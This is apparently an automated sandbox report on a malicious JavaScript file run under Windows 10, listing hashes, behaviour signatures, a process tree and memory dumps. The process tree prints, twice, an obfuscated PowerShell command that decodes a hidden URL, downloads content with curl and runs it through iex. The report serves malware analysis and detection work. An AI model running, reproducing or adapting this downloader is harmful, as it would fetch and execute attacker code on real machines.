Analysis

  • max time kernel
    95s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-12-2024 14:58

General

  • Target

    40551fa2f76049bcc3e5fcbf304c911845f168eaa7771efff2311d043200da71.js

  • Size

    202KB

  • MD5

    87e0ceab84726e7cb7f890650b2684c4

  • SHA1

    8d2b922b604bdeb39faa0f78e99e435c9c5bdf45

  • SHA256

    40551fa2f76049bcc3e5fcbf304c911845f168eaa7771efff2311d043200da71

  • SHA512

    86e1afa1b8b12c4a83baf63c1c760444557fabf92866fe41ae8607f30536a4ff97e03b83923f82202ef5ce59376c8e3462ee75cba3e8b0ecebac855f750c0949

  • SSDEEP

    1536:nwfnMv4xlx4f1fbUNEdXKJTyFteE8UeLQag/WqHoxlx4f1fbUNEdXKJ+yFteE8Ul:n2n3CoOIhoOyoOcbB

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\40551fa2f76049bcc3e5fcbf304c911845f168eaa7771efff2311d043200da71.js
    1⤵
      PID:4932
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $tfczpqjyg='ur' ;new-alias printout c$($tfczpqjyg)l;$gsajrto=(944,955,963,947,949,944,964,963,968,901,963,897,944,892,962,957,958,893,895,892,958,950,958,909,961,907,955,951,956,962,961,896,895);$obeifhamvpjcx=('bronx','get-cmdlet');$asvqcxtjkureb=$gsajrto;foreach($ltwuiynpxbrzs in $asvqcxtjkureb){$sanoumdctrik=$ltwuiynpxbrzs;$kfheayp=$kfheayp+[char]($sanoumdctrik-846);$eqynumbki=$kfheayp; $drhmtiyqe=$eqynumbki};$plvhso[2]=$drhmtiyqe;$joekhcfbupltv='rl';$skyfcjbizrunh=1;.$([char](9992-9887)+'e'+'x')(printout -useb $drhmtiyqe)
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1480
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $tfczpqjyg='ur' ;new-alias printout c$($tfczpqjyg)l;$gsajrto=(944,955,963,947,949,944,964,963,968,901,963,897,944,892,962,957,958,893,895,892,958,950,958,909,961,907,955,951,956,962,961,896,895);$obeifhamvpjcx=('bronx','get-cmdlet');$asvqcxtjkureb=$gsajrto;foreach($ltwuiynpxbrzs in $asvqcxtjkureb){$sanoumdctrik=$ltwuiynpxbrzs;$kfheayp=$kfheayp+[char]($sanoumdctrik-846);$eqynumbki=$kfheayp; $drhmtiyqe=$eqynumbki};$plvhso[2]=$drhmtiyqe;$joekhcfbupltv='rl';$skyfcjbizrunh=1;.$([char](9992-9887)+'e'+'x')(printout -useb $drhmtiyqe)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4244

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eqpz32rt.qar.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/4244-0-0x00007FFEEDD43000-0x00007FFEEDD45000-memory.dmp

      Filesize

      8KB

    • memory/4244-1-0x000002C71F140000-0x000002C71F162000-memory.dmp

      Filesize

      136KB

    • memory/4244-11-0x00007FFEEDD40000-0x00007FFEEE801000-memory.dmp

      Filesize

      10.8MB

    • memory/4244-12-0x00007FFEEDD40000-0x00007FFEEE801000-memory.dmp

      Filesize

      10.8MB

    • memory/4244-13-0x00007FFEEDD40000-0x00007FFEEE801000-memory.dmp

      Filesize

      10.8MB

    • memory/4244-14-0x00007FFEEDD40000-0x00007FFEEE801000-memory.dmp

      Filesize

      10.8MB

    • memory/4244-15-0x00007FFEEDD43000-0x00007FFEEDD45000-memory.dmp

      Filesize

      8KB

    • memory/4244-16-0x00007FFEEDD40000-0x00007FFEEE801000-memory.dmp

      Filesize

      10.8MB

    • memory/4244-19-0x00007FFEEDD40000-0x00007FFEEE801000-memory.dmp

      Filesize

      10.8MB